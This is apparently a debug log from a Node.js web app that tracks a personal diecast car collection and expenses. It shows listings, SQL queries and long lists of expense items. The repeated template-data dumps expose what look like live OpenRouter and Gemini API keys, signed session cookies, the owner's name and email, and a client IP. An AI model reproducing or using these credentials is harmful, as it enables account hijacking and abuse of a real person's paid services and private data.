      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:02:16.748Z server-connect:router Serving templateView /
2026-02-04T07:02:16.749Z server-connect:app Executing action step identify
2026-02-04T07:02:16.749Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:16.749Z server-connect:output identity: 1
2026-02-04T07:02:16.749Z server-connect:app Executing action step restrict
2026-02-04T07:02:16.749Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:02:16.750Z server-connect:output restrict: undefined
2026-02-04T07:02:16.750Z server-connect:app Executing action step restrict
2026-02-04T07:02:16.750Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:02:16.750Z server-connect:output restrict: undefined
2026-02-04T07:02:16.750Z server-connect:router Render template layouts/main
2026-02-04T07:02:16.750Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=72&search=&series=&brand=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=72&search=&series=&brand=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:02:20.155Z server-connect:router Serving templateView /diecast
2026-02-04T07:02:20.155Z server-connect:app Executing action step identify
2026-02-04T07:02:20.155Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:20.155Z server-connect:output identity: 1
2026-02-04T07:02:20.155Z server-connect:app Executing action step restrict
2026-02-04T07:02:20.155Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:02:20.156Z server-connect:output restrict: undefined
2026-02-04T07:02:20.156Z server-connect:router Render template layouts/main
2026-02-04T07:02:20.156Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {
    condition: '',
    manufacturer: '72',
    search: '',
    series: '',
    brand: ''
  },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'condition=&manufacturer=72&search=&series=&brand=',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T07:02:21.081Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T07:02:21.082Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T07:02:21.083Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:02:21.083Z server-connect:app Executing action step identify
2026-02-04T07:02:21.083Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:21.083Z server-connect:output identity: 1
2026-02-04T07:02:21.083Z server-connect:app Executing action step restrict
2026-02-04T07:02:21.083Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:02:21.083Z server-connect:app Executing action step identify
2026-02-04T07:02:21.083Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:21.083Z server-connect:output identity: 1
2026-02-04T07:02:21.083Z server-connect:app Executing action step restrict
2026-02-04T07:02:21.083Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:02:21.083Z server-connect:app Executing action step identify
2026-02-04T07:02:21.083Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:21.083Z server-connect:output identity: 1
2026-02-04T07:02:21.084Z server-connect:app Executing action step restrict
2026-02-04T07:02:21.084Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:02:21.084Z server-connect:output restrict: undefined
2026-02-04T07:02:21.085Z server-connect:app Executing action step select
2026-02-04T07:02:21.085Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T07:02:21.085Z server-connect:output restrict: undefined
2026-02-04T07:02:21.085Z server-connect:app Executing action step single
2026-02-04T07:02:21.085Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T07:02:21.085Z server-connect:output restrict: undefined
2026-02-04T07:02:21.086Z server-connect:app Executing action step select
2026-02-04T07:02:21.086Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:02:21.087Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T07:02:21.089Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T07:02:21.090Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T07:02:21.093Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:02:21.094Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:02:21.095Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:02:21.096Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T07:02:21.096Z server-connect:app Executing action step identify
2026-02-04T07:02:21.096Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:21.096Z server-connect:output identity: 1
2026-02-04T07:02:21.096Z server-connect:app Executing action step restrict
2026-02-04T07:02:21.096Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:02:21.096Z server-connect:app Executing action step identify
2026-02-04T07:02:21.096Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:21.096Z server-connect:output identity: 1
2026-02-04T07:02:21.096Z server-connect:app Executing action step restrict
2026-02-04T07:02:21.096Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:02:21.096Z server-connect:output restrict: undefined
2026-02-04T07:02:21.096Z server-connect:app Executing action step select
2026-02-04T07:02:21.097Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:02:21.097Z server-connect:app Executing action step identify
2026-02-04T07:02:21.097Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:21.097Z server-connect:output identity: 1
2026-02-04T07:02:21.097Z server-connect:app Executing action step restrict
